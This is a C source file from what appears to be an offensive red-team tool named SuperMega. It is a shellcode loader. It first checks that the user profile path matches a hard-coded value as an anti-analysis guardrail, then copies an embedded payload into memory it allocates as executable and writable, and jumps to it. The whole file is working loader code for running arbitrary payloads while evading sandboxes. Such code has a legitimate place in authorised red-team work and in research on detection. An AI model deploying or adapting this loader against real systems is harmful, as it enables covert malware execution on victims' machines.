Files
SuperMega/source/iat_reuse/main.c
T

43 lines
1.1 KiB
C

#include <Windows.h>
char *supermega_payload;
int main()
{
// Execution Guardrail: Env Check
wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0};
wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker"
WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
DWORD result = ((DWORD(WINAPI*)(LPCWSTR, LPWSTR, DWORD))GetEnvironmentVariableW)(envVarName, buffer, 1024);
if (result == 0) {
return 6;
}
if (mystrcmp(buffer, tocheck) != 0) {
return 6;
}
// Copy shellcode
// ntdll.dll: VirtualAlloc()
char *dest = VirtualAlloc(NULL, 4096, 0x3000, 0x40);
// 11223344 is a magic number which will be replaced in the asm source
// with the payload length.
for(int n=0; n<11223344; n++) {
dest[n] = supermega_payload[n];
}
// Exec shellcode
(*(void(*)())(dest))();
return 0;
}
int mystrcmp(wchar_t* str1, wchar_t* str2) {
int i = 0;
while (str1[i] != L'\0' && str2[i] != L'\0') {
if (str1[i] != str2[i]) {
return 1;
}
i++;
}
return 0;
}